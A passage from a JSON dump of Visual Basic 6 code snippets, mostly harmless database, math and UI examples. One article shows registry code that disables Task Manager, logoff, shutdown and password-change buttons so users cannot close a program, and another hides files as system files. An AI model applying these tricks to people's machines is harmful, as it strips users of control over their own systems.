\"MyStringData\"\n End With\n tbl.Indexes.Append idx\n Set idx = Nothing\n Set tbl = Nothing\n \n'* Create a detail Table with a memo Field, and foreign key\n Set tbl = New ADOX.Table\n With tbl\n .Name = strTableNameTwo\n Set .ParentCatalog = cat\n .Columns.Append \"MyPrimaryKey\", adInteger 'Long data type\n .Columns.Append \"MyMemoData\", adLongVarWChar 'Memo data type\n End With\n cat.Tables.Append tbl\n \n Set Pkey = New ADOX.Key\n With Pkey 'set relationship\n .Name = \"MyPrimaryKey\"\n .Type = adKeyForeign\n .RelatedTable = strTableNameOne\n .Columns.Append \"MyPrimaryKey\"\n .Columns(\"MyPrimaryKey\").RelatedColumn = \"MyPrimaryKey\"\n .UpdateRule = adRICascade 'Enforce Referential Integrity\n End With\n tbl.Keys.Append Pkey\n \n Set tbl = Nothing\n Set Pkey = Nothing\n Set cat = Nothing\n \n Exit Sub\n \nMyError:\n Debug.Print Err.Number & Space$(1) & Err.Description\nEnd Sub\n"},{"WorldId":1,"id":64586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62457,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":61593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64839,"LineNumber":1,"line":"' sample of usage calculation of 1000!\n' msgbox may truncate the entire string\n' so it is set into clipboard\n'Dim Ret As String\n'Dim k As Integer\n'\n'Ret = \"1\"\n'For k = 1 To 1000\n' Ret = Multiply(CStr(k), Ret)\n'Next\n'Clipboard.Clear\n'Clipboard.SetText (Ret)\n'\n'MsgBox Ret\nPrivate Function Multiply(a_num1 As String, a_num2 As String) As String\nDim ls_line() As String\nDim ls1 As String\nDim ls2 As String\nDim ls_mul As String\nDim li_num As Integer\nDim li_mul As Integer\nDim li_elde As Integer\nDim li_sum As Integer\nDim li_maxlen As Integer\nDim li_linecount As Integer\nDim li_up As Integer\nDim k As Long\nDim j As Long\n' select larger one\nSelect Case True\n Case Len(a_num1) >= Len(a_num2)\n ls1 = a_num1\n ls2 = a_num2\n Case Len(a_num1) < Len(a_num2)\n ls1 = a_num2\n ls2 = a_num1\nEnd Select\n' start multiplication\nli_maxlen = -1\nFor j = Len(ls2) To 1 Step -1\n li_elde = 0\n ls_mul = \"\"\n li_num = CInt(Mid(ls2, j, 1)) ' number from right\n For k = Len(ls1) To 1 Step -1\n li_mul = li_num * CInt(Mid(ls1, k, 1)) + li_elde ' ex : 7 times 7 = 49\n If k = 1 Then\n ls_mul = CStr(li_mul) + ls_mul\n Else\n ls_mul = CStr(li_mul Mod 10) + ls_mul ' get 9 from 49\n li_elde = (li_mul - (li_mul Mod 10)) / 10 ' remains 4 from 49\n End If\n Next\n ' add extra zeros to the Right\n For k = 1 To Len(ls2) - j + 1 - 1\n ls_mul = ls_mul + \"0\"\n Next\n ' store result as a one line string\n ReDim Preserve ls_line(1 To Len(ls2) - j + 1)\n ls_line(Len(ls2) - j + 1) = ls_mul\n If Len(ls_mul) > li_maxlen Then li_maxlen = Len(ls_mul)\nNext\nli_linecount = UBound(ls_line)\n' add extra zeros to the Left\nFor k = 1 To li_linecount\n li_up = li_maxlen - Len(ls_line(k))\n For j = 1 To li_up\n ls_line(k) = \"0\" + ls_line(k)\n Next\nNext\n' start summation\nli_elde = 0\nls_mul = \"\"\nFor k = li_maxlen To 1 Step -1\n li_sum = 0\n For j = 1 To li_linecount\n li_sum = li_sum + CInt(Mid(ls_line(j), k, 1))\n Next\n li_sum = li_sum + li_elde\n If k = 1 Then\n ls_mul = CStr(li_sum) + ls_mul\n Else\n ls_mul = CStr(li_sum Mod 10) + ls_mul\n li_elde = (li_sum - (li_sum Mod 10)) / 10\n End If\nNext\nMultiply = ls_mul\nEnd Function\n"},{"WorldId":1,"id":64176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64086,"LineNumber":1,"line":"'Copy this code into a form, and add a picturebox\nOption Explicit\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1\nPrivate Const HTCAPTION = 2\nPrivate Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Button = vbLeftButton Then\n ReleaseCapture\n Call SendMessage(Picture1.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&)\n End If\nEnd Sub\n"},{"WorldId":1,"id":64694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64077,"LineNumber":1,"line":"Good and stable HTTP library. File download is very fast. Various kind of HTTP methods included in the cURL library."},{"WorldId":1,"id":64624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63991,"LineNumber":1,"line":"'**** A more-compact alternative to storing bytes\n'in strings than using Hex ******\n'Bytes can't be stored successfully in character strings\n'because of problems with certain characters\n'eg carriage return,linefeed,\", nullchar etc\n'This method avoids those characters by storing\n'bit 128 of each byte in a header character\n'and adding 128 (but could be any value above\n'34 (chr 34 = \") to the byte so string characters\n'will all be above the problem range\n'The header is set at 128 initially so it too will be\n'above the range and the remaining bits of the\n'header 2^0,2^1... 2^6 are set depending\n'on whether any of the next 7 bytes has bit 128\n'Examples are for long and date variables but any\n'data converted to a byte array can be stored for\n'8 character per 7 bytes compared with 14 when using\n'a predictable-length Hex string\n'which is 2 characters per byte\n'There's an obvious function overhead - you'd use\n'this if you wanted to do something like a store amount of\n'data in a constant (conversion to a string is the only way)\n'Any compression to the data must be carried out before\n'conversion using these functions so as not to undo the\n'conversion\n'***********\n'no problem with characters CRLF or \" when storing data in a constant\nConst longtostring_Minus4597545 = \"┬Å├ù├ÿ┬╣├┐\"\nConst timeAdjust = 160 ' clear problem character\nConst dateOffset = 38728\nDim powers(6) As Integer\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)\nPrivate Sub Form_Load()\nFor i = 0 To 6\npowers(i) = 2 ^ i 'for speed - store powers in lookup table\nNext\nMe.AutoRedraw = True\nMe.Caption = \"-4597545 \" & longtostring(-4597545) & \" \" & stringtolong(longtostring(-4597545))\n'no problem with null terminator (Chr 0) when saving to clipboard\nClipboard.SetText longtostring(-4597545), 1\nDim dd As Date\ndd = Date + Time\nMe.Print dd & \" \" & DatetoString(dd) & \" \" & stringToDate(DatetoString(dd))\nMe.Print dd & \" \" & DatetoString6(dd) & \" \" & stringToDate6(DatetoString6(dd))\nEnd Sub\n'convert whatever data into bytes first\n'long =4 bytes + 1 header byte = 5 character string result (HEX = 8)\nFunction longtostring(no As Long) As String\nDim b(3) As Byte\nCopyMemory b(0), no, 4\nlongtostring = AnyToString(b)\nEnd Function\nFunction stringtolong(st As String) As Long\nIf Len(st) <> 5 Then Exit Function\nDim b() As Byte\nb = stringToAny(st)\nDim a As Long\nCopyMemory stringtolong, b(0), 4\nEnd Function\n'date > 7 (8) bytes so process first 7 then last byte\n'8 bytes + 2 header bytes = 10 characters (HEX = 16)\nFunction DatetoString(d As Date) As String\nDim b() As Byte, c(0) As Byte\nReDim b(7)\nCopyMemory b(0), d, 8\nc(0) = b(7)\nReDim Preserve b(6)\nDatetoString = AnyToString(b) & AnyToString(c)\nEnd Function\nFunction stringToDate(st As String) As Date\nIf Len(st) <> 10 Then Exit Function\nDim b() As Byte, c() As Byte\nb = stringToAny(Left(st, 8))\nc = stringToAny(Right(st, 2))\nReDim Preserve b(7)\nb(7) = c(0)\nDim d As Date\nCopyMemory stringToDate, b(0), 8\nEnd Function\n'*************main functions\n'max 7 bytes for these functions\n'for larger numbers eg date,user type, array process in up\n'to 7 byte chunks\nFunction stringToAny(st As String) As Byte()\nDim b() As Byte, i As Long, c As Integer, header As Byte\nb = st\nheader = b(0)\nFor i = 2 To UBound(b) - 1 Step 2\nb(c) = b(i) - 128\nIf (header And powers(c)) Then b(c) = b(c) Or 128\nc = c + 1\nNext\nReDim Preserve b(Len(st) - 2)\nstringToAny = b()\nEnd Function\nFunction AnyToString(bb() As Byte) As String\nDim i As Long, header As Byte, d As Integer, b() As Byte\nheader = 128\nReDim Preserve b((UBound(bb) * 2) + 3)\nFor i = 0 To UBound(bb)\nd = d + 2\nIf bb(i) And 128 Then header = header Or powers(i)\nb(d) = bb(i) Or 128\nNext\nb(0) = header\nAnyToString = b()\nEnd Function\n\n'*********** more compact storage of dates or times in 3 characters\n'or 6 characters for a full date\n'assumes date will be spread over integer range\n'-32767 to 32768 = ~ 180 year range or 90 years either side of today\n'if we use an offset of 38727 (today's date)\n'which will suit many applications\n'if needed we could increase this date range by using the 5\n'unused bits of the header byte and still only need 3 characters\n'but I haven't coded that.\nFunction DatetoString6(d As Date) As String\nDatetoString6 = DatetoString3(d) & TimetoString3(d)\nEnd Function\nFunction stringToDate6(st As String) As Date\nstringToDate6 = stringtoDate3(Left(st, 3)) + stringtoTime3(Right(st, 3))\nEnd Function\nFunction DatetoString3(d As Date) As String\nDim b(1) As Byte, t As Integer, s As Single\ns = d\nIf s < 0 Then s = Fix(s) Else s = Int(s)\nt = s - dateOffset\nCopyMemory b(0), t, 2\nDatetoString3 = AnyToString(b)\nEnd Function\nFunction stringtoDate3(st As String) As Date\nDim b() As Byte\nb = stringToAny(st)\nDim a As Integer\nCopyMemory a, b(0), 2\nstringtoDate3 = a + dateOffset\nEnd Function\nFunction TimetoString3(d As Date) As String\nTimetoString3 = Chr(Hour(d) + timeAdjust) & Chr(Minute(d) + timeAdjust) & Chr(Second(d) + timeAdjust)\nEnd Function\nFunction stringtoTime3(st As String) As Date\nstringtoTime3 = TimeSerial(Asc(st) - timeAdjust, Asc(Mid(st, 2, 1)) - timeAdjust, Asc(Mid(st, 3, 1)) - timeAdjust)\nEnd Function\n"},{"WorldId":1,"id":52772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57579,"LineNumber":1,"line":"Non-API \nTo do this simply add this code to the MouseDown part of the textbox \nThis way will work with probably all versions of VB \nIf Button = 2 Then \nYourTextboxName.Enabled = False \nYourTextboxName.Enabled = True \nYourTextboxName.SetFocus \nPopupMenu YourMenuName \nEnd If \nReplace all the Green text with what your control names are. \nHope this helped. \nThis way will only work in VB 5.0 and VB 6.0 as far as i know \nAPI \nOption Explicit \n'Parts of this were orginally made by \n' Written by Matt Hart \n'Altered by SPY-3 \n'This was originally written for a webbrowser see \n'http://blackbeltvb.com/index.htm?free/webbmenu.htm \n\n\nPublic Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long \nPublic Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long) \nPublic Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long \nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long \nPublic Declare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \nPublic Const GWL_WNDPROC = (-4) \nPublic Const GW_HWNDNEXT = 2 \nPublic Const GW_CHILD = 5 \n \nPublic Const WM_MOUSEACTIVATE = &H21 \nPublic Const WM_CONTEXTMENU = &H7B \nPublic Const WM_RBUTTONDOWN = &H204 \nPublic origWndProc As Long \nPublic Function AppWndProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long \nSelect Case Msg \nCase WM_MOUSEACTIVATE \nDim C As Integer \nCall CopyMemory(C, ByVal VarPtr(lParam) + 2, 2) \nIf C = WM_RBUTTONDOWN Then \nYourForm.PopupMenu YourForm.YourMenu \nSendKeys \"{ESC}\" \nEnd If \nCase WM_CONTEXTMENU \nYourForm.PopupMenu YourForm.YourMenu \nSendKeys \"{ESC}\" \nEnd Select \nAppWndProc = CallWindowProc(origWndProc, hwnd, Msg, wParam, lParam) \nEnd Function Then under Form_Load() put this origWndProc = SetWindowLong(YourTextBox.hwnd, GWL_WNDPROC, AddressOf AppWndProc)\n \nhttp://Tiamat-Studios.vze.com"},{"WorldId":1,"id":61202,"LineNumber":1,"line":"I was just informed about a built in vb function SetAttr %File or Folder%, vbSystem or vbHidden or vbNormal My old code is below still.\nI was messing around with some code and found how to hide folders and files(or atleast turn it into a system folder or file). (if you were making a secure folder why not hide it the right way so you cant see it even if you have show hidden files and folders checked?) The actual code is very very simple that anyone could do it (yet for some reason they dont) Heres the code: \nTo hide a folder simple use this code \nDim FS, F \nSet FS = CreateObject(\"Scripting.FileSystemObject\") \nSet F = FS.GetFolder(%FOLDERPATH%) 'Replace %FOLDERPATH% with the folders path \nF.Attributes = -1 ' -1 Makes it a system folder so its hidden from windows explorer(works for me on xp) \nTo unhide the folder simply put \nDim FS, F \nSet FS = CreateObject(\"Scripting.FileSystemObject\") \nSet F = FS.GetFolder(%FOLDERPATH%) 'Replace %FOLDERPATH% with the folders path \nF.Attributes = 0 ' This returns the folder to normal in windows explorer\n To hide files simply use this code \nDim FS, F \nSet FS = CreateObject(\"Scripting.FileSystemObject\") \nSet F = FS.GetFile(%FILEPATH%) 'Replace %FILEPATH% with the files path \nF.Attributes = -1 ' -1 Makes it a system file so its hidden from windows explorer(works for me on xp) \nTo unhide the file simply put \nDim FS, F \nSet FS = CreateObject(\"Scripting.FileSystemObject\") \nSet F = FS.GetFile(%FILEPATH%) 'Replace %FILEPATH% with the files path \nF.Attributes = 0 ' This returns the file to normal in windows explorer\n\n \n Hope this code helps and please leave feedback and/or vote."},{"WorldId":1,"id":64437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64093,"LineNumber":1,"line":"Dim Script As Object\nSet Script = CreateObject(\"Scripting.filesystemobject\")\nIf Script.FileExists(\"C:\\My Documents\\Prog.exe\") = True Then\n'True code here\nElse\n'False code here\nEnd if"},{"WorldId":1,"id":64606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":61991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64904,"LineNumber":1,"line":"Disabling 'Windows Security Dialog'\nEvery time you open the "Windows Security" dialog, it \nchecks 5 registry keys in at gives you the choice of buttons based on that. \n \nIn this article I will show you how to write a sub that will quickly \ndisable/enable any button in the WS dialog (bar Cancel)\nIn the Registry there are 5 REG_DWord Keys at:\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableLockWorkStation \n-> Disables 'Lock Workstation' Button \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr \n-> Disables 'Task Manager' Button \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableChangePassword \n-> Disables 'Change Password' Button \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogoff \n-> Disables 'Logoff' Button \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose \n-> Disables 'Shutdown' Button\nIf any of these values are set to '1' the button will be \ndisabled.\nDeclarations:\nDeclare Function \nRegSetValueEx Lib "advapi32.dll"\nAlias "RegSetValueExA" (ByVal \nHKey As Long, ByVal \nlpValueName As String, ByVal \nReserved As Long, ByVal \ndwType As Long, lpData \nAs Any, ByVal cbData\nAs Long) As Long \n \nDeclare Function RegCloseKey \nLib "advapi32.dll" _ \n(ByVal HKey As Long) _ \nAs Long \n \nDeclare Function RegCreateKey \nLib "advapi32.dll" _ \nAlias "RegCreateKeyA" _ \n(ByVal HKey As Long, _ \nByVal lpSubKey As String, \n_ \nphkResult As Long) _ \nAs Long \n \nDeclare Function RegOpenKeyEx \nLib "advapi32.dll" _ \nAlias "RegOpenKeyExA" _ \n(ByVal HKey As Long, _ \nByVal lpSubKey As String, \n_ \nByVal ulOptions As Long, \n_ \nByVal samDesired As Long, \n_ \nphkResult As Long) _ \nAs Long \n \nEnum regKey<blockquote>\n\tLogoff = 0 \n\tShutdown = 1 \n\tChangePassword = 2 \n\tTaskMgr = 3 \n\tLockWorkstation = 4</blockquote>\nEnd Enum \n \nEnum RegistryErrorCodes<blockquote>\n\tERROR_ACCESS_DENIED = 5& \n\tERROR_INVALID_PARAMETER = 87 \n\tERROR_MORE_DATA = 234 \n\tERROR_NO_MORE_ITEMS = 259 \n\tERROR_SUCCESS = 0&</blockquote>\nEnd Enum \n \nEnum RegistryLongTypes<blockquote>\n\tREG_BINARY = 3 ' \n\tBinary Type \n\tREG_DWORD = 4 ' 32-bit number \n\tREG_DWORD_BIG_ENDIAN = 5 ' 32-bit number \n\tREG_DWORD_LITTLE_ENDIAN = 4 ' 32-bit number (same as \n\tREG_DWORD)</blockquote>\nEnd Enum \n \nEnum RegistryKeyAccess<blockquote>\n\tKEY_CREATE_LINK = &H20 \n\tKEY_CREATE_SUB_KEY = &H4 \n\tKEY_ENUMERATE_SUB_KEYS = &H8 \n\tKEY_EVENT = &H1 \n\tKEY_NOTIFY = &H10 \n\tKEY_QUERY_VALUE = &H1 \n\tKEY_SET_VALUE = &H2 \n\tREAD_CONTROL = &H20000 \n\tSTANDARD_RIGHTS_ALL = &H1F0000 \n\tSTANDARD_RIGHTS_REQUIRED = &HF0000 \n\tSYNCHRONIZE = &H100000 \n\tSTANDARD_RIGHTS_EXECUTE = (READ_CONTROL) \n\tSTANDARD_RIGHTS_READ = (READ_CONTROL) \n\tSTANDARD_RIGHTS_WRITE = (READ_CONTROL) \n\tKEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL + KEY_QUERY_VALUE + KEY_SET_VALUE + \n\tKEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK) \n\tAnd (Not SYNCHRONIZE)) \n\tKEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or \n\tKEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE)) \n\tKEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE)) \n\tKEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) \n\tAnd (Not SYNCHRONIZE))</blockquote>\nEnd Enum \n \nEnum RegistryHives<blockquote>\n\tHKEY_CLASSES_ROOT = &H80000000 \n\tHKEY_CURRENT_CONFIG = &H80000005 \n\tHKEY_CURRENT_USER = &H80000001 \n\tHKEY_DYN_DATA = &H80000006 \n\tHKEY_LOCAL_MACHINE = &H80000002 \n\tHKEY_PERFORMANCE_DATA = &H80000004 \n\tHKEY_USERS = &H80000003</blockquote>\nEnd EnumThe following subs shows how to set a registry key:\nPublic Sub \nCreateKey(ByVal EnmHive As \nLong, ByVal StrSubKey \nAs String, ByVal strValueName\nAs String, ByVal \nLngData As Long, Optional \nByVal EnmType As RegistryLongTypes = \nREG_DWORD_LITTLE_ENDIAN)<blockquote>\n\tDim HKey\n\tAs Long 'Holds a pointer \n\tto the registry key \n\t'Create the Registry Key \n\tCall CreateSubKey(EnmHive, StrSubKey) \n\t'Open the registry key \n\tHKey = GetSubKeyHandle(EnmHive, StrSubKey, KEY_ALL_ACCESS) \n\t'Set the registry value \n\tRegSetValueEx HKey, strValueName, 0, EnmType, LngData, 4 \n\t'Close the registry key \n\tRegCloseKey HKey</blockquote>\nEnd Sub \n \nPublic Sub CreateSubKey(ByVal \nEnmHive As RegistryHives, \nByVal StrSubKey As String)<blockquote>\n\tDim HKey\n\tAs Long 'Holds the handle \n\tfrom the created key. \n\t'Create the Key \n\tRegCreateKey EnmHive, StrSubKey & Chr(0), HKey \n\t'Close the key \n\tRegCloseKey HKey</blockquote>\nEnd Sub \n \nPrivate Function GetSubKeyHandle(ByVal \nEnmHive As RegistryHives, \nByVal StrSubKey As String, \nOptional ByVal EnmAccess\nAs RegistryKeyAccess = KEY_READ)\nAs Long<blockquote>\n\tDim HKey\n\tAs Long 'Holds the handle \n\tof the specified key \n\tDim RetVal As Long \n\t'Holds the data returned from the registry key \n\t'Open the registry key \n\tRetVal = RegOpenKeyEx(EnmHive, StrSubKey, 0, EnmAccess, HKey) \n\tIf RetVal <> ERROR_SUCCESS\n\tThen \n\t'Unable to create key \n\tHKey = 0 \n\tEnd If \n\tGetSubKeyHandle = HKey</blockquote>\nEnd FunctionThe following subs show how to disable buttons in the \n"Windows Security" dialog\nPublic Sub WinSecurity(ByVal \nregSET As regKey, ByVal \nEnabled As Boolean)<blockquote>\n\t'Declare the variables \n\tDim Command As String\n\t'Select the key \n\tSelect Case regSET<blockquote>\n\t\tCase \n\t\tLogoff: Command = "NoLogoff" \n\t\tCase Shutdown: Command = "NoClose" \n\t\tCase ChangePassword: Command = "DisableChangePassword" \n\t\tCase TaskMgr: Command = "DisableTaskMgr" \n\t\tCase LockWorkstation: Command = \n\t\t"DisabeLockWorkstation"</blockquote>\n\tEnd Select\n\t'Set the value of the \n\tkeys \n\tIf Command = "NoLogoff" \n\tThen Call CreateKey(HKEY_CURRENT_USER, \n\t"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", Command,\n\tNot Enabled): GoTo \n\tSKIPOUT \n\tIf Command = "NoClose" \n\tThen Call CreateKey(HKEY_CURRENT_USER, \n\t"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", Command,\n\tNot Enabled): GoTo \n\tSKIPOUT \n\tCall CreateKey(HKEY_CURRENT_USER, \n\t"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Command,\n\tNot Enabled)</blockquote>\nSKIPOUT:\nEnd SubUsage:<blockquote>\n\tWinSecurity (Shutdown, \n\tFalse)</blockquote>\nThe command would disable the "Shutdown" button in the \n"Windows Security" dialog.These functions could be \nimplemented into a locking program, to prevent a user from accessing task \nmanager to close your program. I do not claim all credit for this as the code is \nnot COMPLETELY mine. I am just providing this article as there was not any article \nexisting on PlanetSourceCode at the time of me writing this.\n"},{"WorldId":1,"id":60014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63601,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64826,"LineNumber":1,"line":"Option Explicit\nFunction TaoShortCut(TenFileShortCut As String, sName As String, _\n Optional sParam As String, Optional sStratIn As String, _\n Optional sIcon As String, Optional sComment As String)\nDim OBJ As Object, oShellLink As Object\nSet OBJ = CreateObject(\"wscript.shell\")\nSet oShellLink = 